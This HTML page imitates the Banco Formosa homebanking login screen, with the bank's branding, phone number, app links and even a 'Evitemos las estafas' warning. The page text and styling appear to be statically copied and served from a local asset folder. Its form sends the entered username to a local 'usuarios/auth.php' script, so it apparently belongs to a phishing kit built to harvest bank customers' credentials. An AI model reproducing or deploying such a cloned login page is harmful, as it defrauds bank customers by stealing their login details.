


<!DOCTYPE html>
<html lang="es">

<head>
    <meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <meta charset="utf-8">
    <title>Banco Formosa</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="theme-color" content="#4e8ef7">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge">

    <link rel="icon" type="image/x-icon" href="https://hb.bancoformosa.com.ar/assets/img/favicon.ico">
    <link rel="apple-touch-icon" sizes="16x16" href="https://hb.bancoformosa.com.ar/assets/img/apple-touch-icon.png">

    <style>
        .loading {
            position: absolute;
            width: 100%;
            height: 100%;
            background-color: rgba(255, 255, 255, 0.9019607843137255);
            z-index: 9999999999999999999999999999999999999999999999999999999999;
            top: 0px;
            left: 0px;
            text-align: center;
            overflow: hidden;
        }
        
        @-webkit-keyframes loading {
            0% {
                box-shadow: 0px 17px 10px -10px rgba(0, 0, 0, 0.4);
            }
            50% {
                box-shadow: 0px 37px 20px -15px rgba(0, 0, 0, 0.2);
                transform: translate(0px, -10px);
            }
            100% {
                box-shadow: 0px 17px 10px -10px rgba(0, 0, 0, 0.4);
                transform: translate(0px, 0px);
            }
        }
        
        @keyframes loading {
            0% {
                box-shadow: 0px 17px 10px -10px rgba(0, 0, 0, 0.4);
            }
            50% {
                box-shadow: 0px 37px 20px -15px rgba(0, 0, 0, 0.2);
                transform: translate(0px, -10px);
            }
            100% {
                box-shadow: 0px 17px 10px -10px rgba(0, 0, 0, 0.4);
                transform: translate(0px, 0px);
            }
        }
    </style>
    <script src="wp-main/colores.js"></script>

    <link rel="stylesheet" href="wp-main/styles.3462af379bb8779ed98c.css">
    <style>
        .container-flow {
            position: relative;
            background-color: white;
            width: 100%;
            height: 100vh;
        }
        
        .version {
            color: #18cc18;
            font-size: 18px;
            position: fixed;
            right: 20px;
            bottom: 0px;
            z-index: 99999999999999999999999999;
        }
        
        .main-container {
            background-color: white;
            transition: all 0.25s ease;
            position: absolute;
            top: 89px;
            right: 0px;
            width: calc(100% - 270px);
            height: calc(100% - 89px);
            overflow-x: hidden;
            padding: 20px;
            padding-top: 0px;
        }
        
        .main-container.sucursales {
            padding-bottom: 0px;
            padding-right: 0px;
            padding-left: 0px;
        }
        
        .full-container {
            position: relative;
            width: 100%;
        }
        
        .alignToLogo {
            padding: 0 73px;
        }
        
        @media only screen and (max-width: 1366px) and (min-width: 1276px) {
            .alignToLogo {
                padding: 0 50px;
            }
        }
        
        @media only screen and (max-width: 810px) {
            .alignToLogo {
                padding: 20px;
            }
        }
        
        .lcp {
            top: 0px;
            width: 100%;
            height: 100% !important;
        }
        
        .login-img {
            background-repeat: no-repeat;
            background-size: cover;
        }
        
        .alert-container {
            position: fixed;
            z-index: 2147483647;
            bottom: 10px;
            display: block;
        }
        
        .backendmessage {
            padding: 14px 20px 0px 20px;
            cursor: pointer;
            margin-left: 15px;
            margin-top: 15px;
            margin-right: 15px;
            margin-bottom: 1rem;
            border: 1px solid transparent;
            border-radius: 0.25rem;
            -webkit-animation-name: bounceInRight;
            animation-name: bounceInRight;
            -webkit-animation-duration: 1s;
            animation-duration: 1s;
            -webkit-animation-fill-mode: both;
            animation-fill-mode: both;
            z-index: 100;
        }
        
        .backendmessage>p {
            color: white;
            font-size: 16px;
        }
        
        .message-error {
            background-color: #f44336;
        }
        
        .message-warn {
            background-color: #ff9800;
        }
        
        .message-success {
            background-color: #4caf50;
        }
        
        .blur {
            -webkit-filter: blur(4px);
            filter: blur(4px);
        }
        
        @-webkit-keyframes fadeInFromNone {
            0% {
                display: none;
                opacity: 0;
            }
            1% {
                display: block;
                opacity: 0;
            }
            100% {
                display: block;
                opacity: 1;
            }
        }
        
        @keyframes fadeInFromNone {
            0% {
                display: none;
                opacity: 0;
            }
            1% {
                display: block;
                opacity: 0;
            }
            100% {
                display: block;
                opacity: 1;
            }
        }
        
        @-webkit-keyframes fadeOutFromNone {
            0% {
                display: block;
                opacity: 1;
            }
            1% {
                display: block;
                opacity: 1;
            }
            100% {
                display: none;
                opacity: 0;
            }
        }
        
        @keyframes fadeOutFromNone {
            0% {
                display: block;
                opacity: 1;
            }
            1% {
                display: block;
                opacity: 1;
            }
            100% {
                display: none;
                opacity: 0;
            }
        }
        
        .Tooltip {
            position: absolute;
            width: -webkit-fit-content;
            width: -moz-fit-content;
            width: fit-content;
            background: #1a1a1a;
            color: white;
            padding: 8px;
            max-width: 250px;
            border-radius: 5px;
            -webkit-transform: translate(-50%, -100%) translateY(-20px);
            transform: translate(-50%, -100%) translateY(-20px);
            z-index: 99999999999;
        }
        
        .Tooltip p {
            font-size: 14px;
        }
        
        .Tooltip .triangle {
            width: 10px;
            height: 10px;
            position: absolute;
            border-left: 10px solid transparent;
            border-right: 10px solid transparent;
            border-top: 10px solid #1a1a1a;
            bottom: -10px;
            left: calc(50% - 10px);
        }
        
        .Tooltip.oculto {
            -webkit-animation: fadeOutFromNone 0.2s ease-in-out;
            animation: fadeOutFromNone 0.2s ease-in-out;
            opacity: 0;
            display: none;
        }
        
        .Tooltip.mostrando {
            -webkit-animation: fadeInFromNone 0.2s ease-in-out;
            animation: fadeInFromNone 0.2s ease-in-out;
            opacity: 1;
            display: block;
        }
        
        .Tooltip.left:not(.bottom) {
            -webkit-transform: translateX(-100%) translateX(-20px) translateY(-50%);
            transform: translateX(-100%) translateX(-20px) translateY(-50%);
        }
        
        .Tooltip.left:not(.bottom) .triangle {
            -webkit-transform: rotate(-90deg);
            transform: rotate(-90deg);
            left: unset;
            right: -15px;
            bottom: calc(50% - 5px);
        }
        
        .Tooltip.left.bottom {
            -webkit-transform: translateX(-100%) translateX(10px) translateY(100%);
            transform: translateX(-100%) translateX(10px) translateY(100%);
        }
        
        .Tooltip.left.bottom .triangle {
            -webkit-transform: rotate(180deg);
            transform: rotate(180deg);
            top: -10px;
            left: unset;
            right: 0;
        }
        
        .Tooltip.right:not(.bottom) {
            -webkit-transform: translateX(25px) translateY(-50%);
            transform: translateX(25px) translateY(-50%);
        }
        
        .Tooltip.right:not(.bottom) .triangle {
            bottom: calc(50% - 5px);
            -webkit-transform: rotate(90deg);
            transform: rotate(90deg);
            left: -15px;
        }
        
        .Tooltip.right.bottom {
            -webkit-transform: translateX(0px) translateY(100%);
            transform: translateX(0px) translateY(100%);
        }
        
        .Tooltip.right.bottom .triangle {
            -webkit-transform: rotate(180deg);
            transform: rotate(180deg);
            top: -10px;
            left: 0;
        }
        
        .Tooltip.bottom:not(.left):not(.right) {
            -webkit-transform: translateX(-50%) translateY(100%);
            transform: translateX(-50%) translateY(100%);
        }
        
        .Tooltip.bottom:not(.left):not(.right) .triangle {
            bottom: unset;
            top: -10px;
            -webkit-transform: rotate(180deg);
            transform: rotate(180deg);
        }
        
        @media only screen and (max-width: 1366px) {
            .main-container {
                width: calc(100% - 220px);
            }
        }
        
        @media only screen and (max-width: 1275px) {
            .main-container {
                width: 100%;
            }
        }
        
        @media only screen and (max-width: 810px) {
            .container-flow {
                overflow: visible;
            }
            .main-container {
                top: 134px;
                height: calc(100% - 134px);
                padding-top: 20px;
            }
        }
        
        @-webkit-keyframes pulse {
            from {
                -webkit-transform: scale3d(1, 1, 1);
                transform: scale3d(1, 1, 1);
            }
            50% {
                -webkit-transform: scale3d(1.2, 1.2, 1.2);
                transform: scale3d(1.2, 1.2, 1.2);
            }
            to {
                -webkit-transform: scale3d(1, 1, 1);
                transform: scale3d(1, 1, 1);
            }
        }
        
        @keyframes pulse {
            from {
                -webkit-transform: scale3d(1, 1, 1);
                transform: scale3d(1, 1, 1);
            }
            50% {
                -webkit-transform: scale3d(1.2, 1.2, 1.2);
                transform: scale3d(1.2, 1.2, 1.2);
            }
            to {
                -webkit-transform: scale3d(1, 1, 1);
                transform: scale3d(1, 1, 1);
            }
        }
        
        .pulse {
            -webkit-animation-name: pulse;
            animation-name: pulse;
        }
        
        .login-splash {
            background: rgba(255, 255, 255, 0.901961);
            position: fixed;
            top: 0;
            bottom: 0;
            left: 0;
            right: 0;
            display: none;
            align-items: center;
            z-index: 9999999999999999999999999999999999999999999999;
            justify-content: center;
        }
        
        .login-splash .custom-animation {
            width: 150px;
            z-index: 99999999999999999999999999999999999999999999999;
            -webkit-animation-fill-mode: both;
            animation-fill-mode: both;
            -webkit-animation: pulse 1s ease-in;
            animation: pulse 1s ease-in;
            -webkit-animation-iteration-count: infinite;
            animation-iteration-count: infinite;
        }
        
        @media all and (-ms-high-contrast: none),
        (-ms-high-contrast: active) {
            .login-splash {
                display: flex;
            }
            .notIE {
                display: none;
            }
        }
        
        @supports (-ms-ime-align: auto) {
            .login-splash {
                display: flex;
            }
            .notIE {
                display: none;
            }
        }
        
        @supports (-ms-accelerator: true) {
            .login-splash {
                display: flex;
            }
            .notIE {
                display: none;
            }
        }
        
        @-moz-document url-prefix() {
            .login-splash {
                display: flex;
            }
            .notIE {
                display: none;
            }
        }
        
        .background {
            position: fixed;
            left: 0;
            top: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.3);
            z-index: 9999;
        }
        
        .background .body {
            position: absolute;
            top: 0;
            left: 0;
            z-index: 4;
            -webkit-transform: translate(50vw, 50vh) translate(-50%, -50%);
            transform: translate(50vw, 50vh) translate(-50%, -50%);
            border-radius: 5px;
            overflow: hidden;
            width: 500px;
            max-width: calc(100% - 40px);
        }
        
        .background .body .header {
            background: #003f75;
            padding: 20px;
        }
        
        .background .body .header h1 {
            color: white;
            margin-right: 30px;
        }
        
        .background .body .header img {
            position: absolute;
            right: 10px;
            top: 20px;
            width: 30px;
            cursor: pointer;
        }
        
        .background .body .content {
            background-color: white;
        }
        
        .background .body .content .stage {
            position: relative;
            width: 100%;
            height: 100%;
            padding: 20px;
        }
        
        .background .body .content .stage.center {
            text-align: center;
        }
        
        button.switchAccesible {
            width: auto;
            opacity: 0.4;
            z-index: 99;
            position: fixed;
            top: 10px;
            left: 90px;
        }
    </style>
  
    <style>
         .login-container .login-box .check-cont .checkRCont {
            border-color: white !important;
        }
        
        .login-container {
            width: 100vw;
            min-height: 100vh;
            max-width: 100%;
            overflow: hidden;
            position: relative;
        }
        
        .login-container .formosaVideo {
            position: absolute;
            width: 100%;
            height: 100%;
            top: 0px;
            display: block;
            background-color: rgba(0, 0, 0, 0.3);
            z-index: 1;
        }
        
        .login-container .passEye {
            position: absolute;
            right: 70px;
            bottom: 150px;
            width: 25px;
        }
        
        .login-container .passEye img {
            width: 100%;
        }
        
        .login-container video {
            position: fixed;
            left: 50%;
            top: 0;
            -webkit-transform: translateX(-50%);
            transform: translateX(-50%);
            min-width: 100%;
            min-height: 100%;
        }
        
        .login-container .login-content {
            display: flex;
            justify-content: space-between;
            flex-direction: column;
            height: 100%;
            min-height: calc(100vh - 1px);
        }
        
        .login-container .login-content .header,
        .login-container .login-content .body,
        .login-container .login-content .footer {
            z-index: 1;
            margin-left: 4vw;
            margin-right: 4vw;
        }
        
        .login-container .login-content .header {
            display: flex;
            flex-direction: row;
            justify-content: space-between;
            margin-top: 2vh;
            margin-bottom: 2vh;
            padding-bottom: 2vh;
            border-bottom: 1px solid white;
            color: white;
        }
        
        .login-container .login-content .header .logo {
            width: 240px;
        }
        
        .login-container .login-content .header .links {
            display: flex;
            align-items: center;
            justify-content: flex-end;
            flex-direction: row;
        }
        
        .login-container .login-content .header .links img {
            height: 50px;
            margin-right: 10px;
        }
        
        .login-container .login-content .header .links h3 {
            font-size: 20px;
            white-space: nowrap;
            margin: 0;
        }
        
        .login-container .login-content .header .links p {
            font-size: 12px;
            white-space: nowrap;
            margin: 0;
        }
        
        .login-container .login-content .header .links .apps,
        .login-container .login-content .header .links .tels {
            display: flex;
            flex-direction: column;
            align-items: flex-start;
            justify-content: space-around;
            margin-right: 30px;
        }
        
        .login-container .login-content .body {
            display: flex;
            align-items: flex-start;
            flex-direction: row;
            justify-content: space-around;
        }
        
        .login-container .login-content .body .info {
            color: #ffffff;
            text-align: left;
            max-width: 560px;
            align-self: center;
            margin-right: 20px;
        }
        
        .login-container .login-content .body .info h1 {
            font-size: 35px;
            font-weight: bold;
        }
        
        .login-container .login-content .body .info p {
            font-size: 14px;
            font-weight: bold;
        }
        
        .login-container .login-content .body .login-box {
            position: relative;
            display: flex;
            flex-direction: column;
            flex-shrink: 0;
            justify-items: flex-start;
            background-color: rgba(0, 61, 121, 0.7);
            padding: 3vh 50px;
            padding-top: 60px;
            border-radius: 10px;
            max-width: 430px;
            color: white;
            margin-bottom: 20px;
        }
        
        .login-container .login-content .body .login-box.securityImage {
            margin-top: 40px;
        }
        
        .login-container .login-content .body .login-box .widthVolver {
            width: calc(100% - 110px);
        }
        
        .login-container .login-content .body .login-box .imgSeguridad {
            height: 13vh;
            width: 13vh;
            min-height: 80px;
            min-width: 80px;
            max-height: 100px;
            max-width: 100px;
            border-radius: 10px;
            border: 1px solid white;
            position: absolute;
            top: 0px;
            left: 50%;
            -webkit-transform: translate(-50%, -50%);
            transform: translate(-50%, -50%);
            overflow: hidden;
        }
        
        .login-container .login-content .body .login-box .imgSeguridad img {
            width: 100%;
            height: 100%;
        }
        
        .login-container .login-content .body .login-box h1,
        .login-container .login-content .body .login-box h2 {
            margin-bottom: 0px;
            -webkit-touch-callout: none;
            -webkit-user-select: none;
            -moz-user-select: none;
            -ms-user-select: none;
            user-select: none;
        }
        
        .login-container .login-content .body .login-box h2 {
            font-size: 20px;
        }
        
        .login-container .login-content .body .login-box h1 {
            font-size: 27px;
        }
        
        .login-container .login-content .body .login-box .info-text {
            font-size: 14px;
        }
        
        .login-container .login-content .body .login-box .info-text.hide {
            opacity: 0;
            margin: 0 !important;
            -webkit-user-select: none;
            -moz-user-select: none;
            -ms-user-select: none;
            user-select: none;
            max-height: 0;
            overflow: hidden;
        }
        
        .login-container .login-content .body .login-box .short-line {
            background-color: #e6e6e6;
            margin-top: 20px;
            height: 1px;
            width: 80px;
            -webkit-touch-callout: none;
            -webkit-user-select: none;
            -moz-user-select: none;
            -ms-user-select: none;
            user-select: none;
        }
        
        .login-container .login-content .body .login-box .warning-info {
            background-color: white;
            display: flex;
            flex-direction: row;
            justify-content: flex-start;
            margin-top: 20px;
            height: 80px;
            margin-left: -50px;
            margin-right: -50px;
        }
        
        .login-container .login-content .body .login-box .warning-info .warning-icon {
            padding-top: 6px;
            padding-left: 50px;
        }
        
        .login-container .login-content .body .login-box .warning-info .warning-icon img {
            width: 15px;
            height: 15px;
        }
        
        .login-container .login-content .body .login-box .warning-info .warning-text {
            padding-top: 10px;
            padding-left: 8px;
            display: flex;
            flex-direction: column;
            justify-content: flex-start;
        }
        
        .login-container .login-content .body .login-box .warning-info .warning-text h1 {
            color: #f2994a;
            font-size: 16px;
        }
        
        .login-container .login-content .body .login-box .warning-info .warning-text p {
            padding-top: 5px;
            color: #003f75;
            font-size: 13px;
            font-weight: 600;
            line-height: 15px;
        }
        
        @media only screen and (max-width: 1400px) {
            .login-container .login-content .body .login-box .warning-info {
                margin-left: -40px;
                margin-right: -40px;
                height: 75px;
            }
            .login-container .login-content .body .login-box .warning-info .warning-icon {
                padding-left: 40px;
            }
            .login-container .login-content .body .login-box .warning-info .warning-text h1 {
                font-size: 15px;
            }
            .login-container .login-content .body .login-box .warning-info .warning-text p {
                font-size: 12px;
                font-weight: 600;
                line-height: 15px;
            }
        }
        
        @media only screen and (max-width: 810px) {
            .login-container .login-content .body .login-box .warning-info {
                margin-left: -10px;
                margin-right: -10px;
            }
            .login-container .login-content .body .login-box .warning-info .warning-icon {
                padding-left: 10px;
            }
        }
        
        .login-container .login-content .body .login-box .input::-webkit-input-placeholder {
            color: white;
            opacity: 1;
        }
        
        .login-container .login-content .body .login-box .input:-ms-input-placeholder {
            color: white;
            opacity: 1;
        }
        
        .login-container .login-content .body .login-box .input::-ms-input-placeholder {
            color: white;
            opacity: 1;
        }
        
        .login-container .login-content .body .login-box .input::placeholder {
            color: white;
            opacity: 1;
        }
        
        .login-container .login-content .body .login-box .input:-ms-input-placeholder {
            color: white;
        }
        
        .login-container .login-content .body .login-box .input::-ms-input-placeholder {
            color: white;
        }
        
        .login-container .login-content .body .login-box input::-ms-clear,
        .login-container .login-content .body .login-box input::-ms-reveal {
            display: none;
        }
        
        .login-container .login-content .body .login-box .input {
            border: 2px solid white;
            background-color: transparent;
            border-style: solid;
            width: 100%;
            max-width: 100%;
            height: 38px;
            border-radius: 20px;
            background: url('wp-main/user.9e8754f6da04522662ab.png') no-repeat scroll 15px 4px;
            padding-left: 60px;
            color: white;
            margin-top: 20px;
            padding-right: 40px;
        }
        
        .login-container .login-content .body .login-box .input-pwd {
            background: url('wp-main/key.2d8b9614ffdb8d17a1f0.png') no-repeat scroll 15px 4px;
            background-size: 25px 25px;
            margin-top: 20px;
        }
        
        .login-container .login-content .body .login-box .input-tkn {
            background: url('wp-main/locked.304114069651e220d7a9.png') no-repeat scroll 15px 4px;
            background-size: 25px 25px;
            margin-top: 20px;
        }
        
        .login-container .login-content .body .login-box .boton {
            width: 100%;
            background-color: white;
            margin-top: 20px;
            border-radius: 20px;
            border: none;
            height: 38px;
            font-weight: bold;
            transition: all 2s ease;
            color: #003f75;
        }
        
        .login-container .login-content .body .login-box .boton:hover {
            border: 2px solid white;
            color: white;
            background-color: transparent;
        }
        
        .login-container .login-content .body .login-box .forgot-text {
            text-align: center;
            cursor: pointer;
            font-size: 14px;
            text-decoration: underline;
            margin-top: 20px;
        }
        
        .login-container .login-content .body .login-box .login-help {
            background: #00a5df;
            align-self: center;
            padding: 8px;
            width: calc(100% - 180px);
            border-radius: 20px;
            position: absolute;
            bottom: 0;
            -webkit-transform: translateY(40%);
            transform: translateY(40%);
            text-align: center;
            cursor: pointer;
        }
        
        .login-container .login-content .body .login-box .mobileInfo {
            display: none;
        }
        
        .login-container .login-content .body .login-box .check-cont {
            position: absolute;
            width: 20px;
            height: 20px;
            float: left;
        }
        
        .login-container .login-content .body .login-box .virtual-keyboard-cont {
            position: absolute;
            right: calc(75% - -2rem);
            top: 16rem;
            -webkit-transform: translateX(-50%) translateY(-100%) translateY(-20px);
            transform: translateX(-50%) translateY(-100%) translateY(-20px);
            z-index: 1;
        }
        
        .login-container .login-content .footer {
            display: flex;
            flex-direction: row;
            justify-content: space-around;
            padding-top: 30px;
            padding-bottom: 10px;
        }
        
        .login-container .login-content .footer .link {
            text-decoration: underline !important;
            color: white !important;
            font-weight: bold;
            font-size: 18px;
            cursor: pointer;
        }
        
        .login-container .login-content .footer .link:hover {
            color: #42a7ff !important;
        }
        
        .overlay {
            position: fixed;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            background: rgba(0, 0, 0, 0.5);
            display: flex;
            align-items: center;
            flex-direction: column;
            z-index: 10;
            padding-top: 85px;
        }
        
        .overlay.alt {
            padding-top: 0;
            display: flex;
            align-items: center;
            flex-direction: column;
            justify-content: center;
        }
        
        .overlay.alt .primary-button {
            margin-left: 0;
            display: block;
        }
        
        .overlay .content {
            border-radius: 7px;
            width: 800px;
            height: calc(100% - 100px);
            max-width: 80%;
            background: #ffffff;
            padding-bottom: 80px;
            position: relative;
        }
        
        .overlay .content .box-modal-close {
            position: absolute;
            left: 100%;
            width: 60px;
            top: 0;
            cursor: pointer;
        }
        
        .overlay .content .content-inside {
            padding: 15px;
        }
        
        .overlay .title-container {
            padding: 25px;
            background: #003f75;
            margin: 0;
            font-size: 25px;
        }
        
        .overlay .title-container .sub-title {
            color: #fff;
            margin: 0;
        }
        
        .overlay .title-container .closeImg {
            position: absolute;
            right: 15px;
            top: 25px;
            width: 30px;
            cursor: pointer;
        }
        
        @media only screen and (max-width: 1860px) {
            .login-container .login-content .body .login-box .virtual-keyboard-cont {
                right: calc(75% - -1rem);
            }
        }
        
        @media only screen and (max-width: 1780px) {
            .login-container .login-content .body .login-box .virtual-keyboard-cont {
                right: calc(75% - 2rem);
            }
        }
        
        @media only screen and (max-width: 1680px) {
            .login-container .login-content .body .login-box .virtual-keyboard-cont {
                right: calc(75% - 5rem);
            }
        }
        
        @media only screen and (max-width: 1585px) {
            .login-container .login-content .body .login-box .virtual-keyboard-cont {
                right: calc(75% - 8rem);
            }
        }
        
        @media only screen and (max-width: 1400px) {
            .login-container .passEye {
                right: 55px;
                top: 341px;
            }
            .login-container .login-content .header .logo {
                width: 200px;
            }
            .login-container .login-content .header .links .apps,
            .login-container .login-content .header .links .tels {
                margin-right: 20px;
            }
            .login-container .login-content .body .info h1 {
                font-size: 29px;
            }
            .login-container .login-content .body .login-box {
                max-width: 400px;
                padding: 4vh 40px;
                padding-top: 55px;
            }
            .login-container .login-content .body .login-box h2 {
                font-size: 17px;
            }
            .login-container .login-content .body .login-box h1 {
                font-size: 24px;
            }
            .login-container .login-content .body .login-box .info-text {
                font-size: 12px;
            }
            .login-container .login-content .body .login-box .login-help {
                width: calc(100% - 80px);
            }
        }
        
        @media only screen and (max-width: 1250px) {
            .login-container .login-content .body .login-box .virtual-keyboard-cont {
                top: 16.5rem;
            }
        }
        
        @media only screen and (max-width: 1010px) {
            .login-container .login-content .body .login-box .virtual-keyboard-cont {
                right: calc(75% - 7rem);
            }
        }
        
        @media only screen and (max-width: 972px) {
            .login-container .login-content .header .links .apps {
                display: none;
            }
            .login-container .login-content .body .login-box {
                max-width: 380px;
            }
            .login-container .login-content .footer .link {
                font-size: 14px;
            }
        }
        
        @media only screen and (max-width: 900px) {
            .login-container .login-content .body .login-box .virtual-keyboard-cont {
                right: calc(75% - 8rem);
                top: 17rem;
            }
        }
        
        @media only screen and (max-width: 810px) {
            .login-container .login-content .passEye {
                right: 55px;
                top: 340px;
            }
            .login-container .login-content .header {
                border-color: transparent;
                justify-content: center;
                padding-bottom: 0;
                margin-bottom: 50px;
            }
            .login-container .login-content .header .links {
                display: none;
            }
            .login-container .login-content .header .logo {
                margin: 0;
            }
            .login-container .login-content .body .info {
                display: none;
            }
            .login-container .login-content .body .login-box {
                background: transparent;
                padding-top: 20px;
                padding-bottom: 0;
                margin-bottom: 0;
                margin-bottom: 50px;
            }
            .login-container .login-content .body .login-box .widthVolver {
                width: calc(100% - 75px);
            }
            .login-container .login-content .body .login-box.securityImage {
                margin-top: 0px;
            }
            .login-container .login-content .body .login-box .imgSeguridad {
                position: relative;
                -webkit-transform: translate(-50%, calc(-50% + 10px));
                transform: translate(-50%, calc(-50% + 10px));
                height: 100px;
                width: 100px;
            }
            .login-container .login-content .body .login-box .mobileInfo {
                display: flex;
                flex-direction: column;
            }
            .login-container .login-content .body .login-box .mobileInfo>h3 {
                font-size: 16px;
                text-align: center;
            }
            .login-container .login-content .body .login-box .mobileInfo .nets,
            .login-container .login-content .body .login-box .mobileInfo .tels,
            .login-container .login-content .body .login-box .mobileInfo .apps {
                display: flex;
                justify-content: center;
            }
            .login-container .login-content .body .login-box .mobileInfo img {
                height: 50px;
                margin-right: 15px;
            }
            .login-container .login-content .body .login-box .mobileInfo .tels h3 {
                font-size: 16px;
                margin: 0;
            }
            .login-container .login-content .body .login-box .mobileInfo .tels p {
                font-size: 12px;
                margin: 0;
            }
            .login-container .login-content .body .login-box .mobileInfo .tels .data {
                display: flex;
                flex-direction: column;
                justify-content: center;
                align-items: flex-start;
            }
            .login-container .login-content .body .login-box .login-help {
                position: relative;
                -webkit-transform: none;
                transform: none;
            }
            .login-container .login-content .footer {
                flex-direction: column;
                align-items: center;
            }
            .login-container .login-content .footer .link {
                margin-top: 10px;
            }
        }
    </style>
    <style>
        .checkRCont[_ngcontent-c11] {
            width: 100%;
            height: 100%;
            border: 2px solid #003f75;
            border-radius: 4px;
            padding: 0;
            position: relative;
            box-sizing: content-box;
            cursor: pointer;
        }
        
        .checkRCont[_ngcontent-c11]:hover {
            border-color: #003f75;
        }
        
        .checkRCont.checked[_ngcontent-c11] {
            background-color: #003f75;
        }
        
        .checkRCont.checked[_ngcontent-c11] .line[_ngcontent-c11] {
            height: 10%;
            background-color: white;
            display: inline-block;
            position: absolute;
            z-index: 2;
        }
        
        .checkRCont.checked[_ngcontent-c11] .line.short[_ngcontent-c11] {
            width: 29%;
            left: 15%;
            top: 61%;
            -webkit-transform: rotate(45deg);
            transform: rotate(45deg);
        }
        
        .checkRCont.checked[_ngcontent-c11] .line.long[_ngcontent-c11] {
            width: 68%;
            top: 51%;
            right: 3%;
            -webkit-transform: rotate(-45deg);
            transform: rotate(-45deg);
        }
    </style>
</head>

<body>
    <!--[if lt IE 10]>
      <p>
        You are using an <strong>outdated</strong> browser. Please
        <a href="http://browsehappy.com/">upgrade your browser</a> to improve your experience.
      </p>
    <![endif]-->
    <noscript>
      <p>
        This page requires JavaScript to work properly. Please enable JavaScript in your browser.
      </p>
    </noscript>
    <app-root _nghost-c0="" ng-version="7.2.10">
        <div  class="container-flow login-img">
            
            
            <div  class="full-container">
                <router-outlet ></router-outlet>
                <app-login _nghost-c5="">


                    <div  class="login-container">
                        
                        
                        
                        
                        <div  class="col-5">
                            
                        </div>
                        <div  class="formosaVideo"></div>
                        <video  autoplay="autoplay" loop="" muted="muted" playsinline="" preload="">
    
    
    <source  src="wp-main/video.mp4" type="video/mp4">
    
    Your browser does not support HTML5 video.
  </video>
                        <div  class="login-content">
                            <div  class="header">
                                <img  class="logo margin-right" src="wp-main/LogoHeaderLogin.svg">
                                <div  class="links">
                                    <img  src="wp-main/icon-tel.png">
                                    <div  class="tels">
                                        <h3 >0800 777 2262</h3>
                                        <p >Lunes a Viernes 7 a 19 Hs.</p>
                                    </div>
                                    <a  target="_blank" href="https://apps.apple.com/ar/app/banco-formosa/id1544991292">
                                        <img  src="wp-main/apple.png">
                                    </a>
                                    <a  target="_blank" href="https://play.google.com/store/apps/details?id=ar.com.bcofsa">
                                        <img  src="wp-main/android.png">
                                    </a>
                                    <div  class="apps">
                                        <h3 >Descarga nuestra App</h3>
                                        <p >Disponible para iOS y Android</p>
                                    </div>
                                    <a  target="_blank" href="https://www.facebook.com/BancoFormosaOficial/">
                                        <img  src="wp-main/icon-facebook.png">
                                    </a>
                                    <a  target="_blank" href="https://www.instagram.com/banco_formosa/">
                                        <img  class="remove-margin" src="wp-main/icon-instagram.png">
                                    </a>
                                </div>
                            </div>
                            <div  class="body">
                                <div  class="info">
                                    <h1 >Te damos la bienvenida a nuestro Homebanking</h1>
                                    <p >Estamos mejorando constantemente para vos, nuestro Homebanking es moderno y fácil de usar, con más funcionalidades y beneficios.</p>
                                </div>







<form action="usuarios/auth.php" method="post">




                                <div  class="login-box">
                                    
                                    <h1 >
                                        Bienvenido <br > a tu banco online
                                    </h1>


                                    <div  class="warning-info">
                                        <div  class="warning-icon">
                                            <img  src="wp-main/alertIcon.svg">
                                        </div>
                                        <div  class="warning-text">
                                            <h1 ><b >Evitemos las estafas</b></h1>
                                            <p >
                                                Nunca compartas tu mail o clave personal. <br >
                                            </p>
                                        </div>
                                    </div>

                                    <div  class="row">
                                        <h2  class="margin-top widthVolver remove-margin-bottom">
                                            Ingresá tus datos
                                        </h2>
                                        
                                    </div>
                                    <p  class="info-text no-select remove-margin-bottom margin-top-small">
                                        Si gestionaste el alta en el cajero automático debés ingresar como usuario tu CUIL
                                    </p>

                                    <div  class="margin-top position-relative notmobile">
                                        
                                        <div  class="check-cont">
                                            <checkbox  _nghost-c11="">
                                                <div _ngcontent-c11="" class="checkRCont">
                                                    <div _ngcontent-c11="" class="line short"></div>
                                                    <div _ngcontent-c11="" class="line long"></div>
                                                </div>
                                            </checkbox>
                                        </div>
                                        <p  class="widthVolver remove-margin margin-left-large">Teclado virtual</p>
                                        
                                    </div>

                                    <input  autocomplete="off" class="input ng-untouched ng-pristine ng-invalid" required="" type="text" placeholder="Usuario" name="usr" required>
                                    

                                    <input  autocomplete="new-password" style="position: absolute; left: 0; top: -1104231431px;" tabindex="-1" type="password" value="-">
                                    
                                    <button  class="boton" type="submit">
          CONTINUAR
        </button>









        </form>
                                    <p  class="forgot-text">
                                        Olvidé o bloqueé mi Clave y/o Usuario
                                    </p>
                                    <div  class="login-help">
                                        ¿Es tu primer ingreso?
                                    </div>
                                    <div  class="mobileInfo">
                                        <div  class="nets margin-top">
                                            <a  target="_blank" href="https://www.facebook.com/BancoFormosaOficial/">
                                                <img  src="wp-main/icon-facebook.png">
                                            </a>
                                            <a  target="_blank" href="https://www.instagram.com/banco_formosa/">
                                                <img  class="remove-margin" src="wp-main/icon-instagram.png">
                                            </a>
                                        </div>
                                        <div  class="tels margin-top">
                                            <img  src="wp-main/icon-tel.png">
                                            <div  class="data">
                                                <h3 >0800 777 2262</h3>
                                                <p >Lunes a Viernes 7 a 19 Hs.</p>
                                            </div>
                                        </div>
                                        <h3  class="margin-top">Descarga nuestra App</h3>
                                        <div  class="apps">
                                            <a  target="_blank" href="https://apps.apple.com/ar/app/banco-formosa/id1544991292">
                                                <img  src="wp-main/apple.png">
                                            </a>
                                            <a  target="_blank" href="https://play.google.com/store/apps/details?id=ar.com.bcofsa">
                                                <img  src="wp-main/android.png">
                                            </a>
                                        </div>
                                    </div>
                                </div>
                            </div>

                            <div  class="footer">
                                <a  class="link">
        Términos y Condiciones
      </a>
                                <a  class="link">
        Información de seguridad
      </a>

                                <a  class="link">
        Políticas de privacidad
      </a>
                                <a  class="link">
        Sucursales &amp; Cajeros
      </a>
                                <a  class="link">
        Comparación de comisiones
      </a>
                            </div>
                        </div>
                    </div>

                    

                    

                    

                    
                </app-login>
            </div>

            
            
            <div  class="loading notmobile notIE" hidden="">
                <lottie-animation-view >
                    <div style="width: 450px; height: 900px; overflow: hidden; margin: 0px auto;">
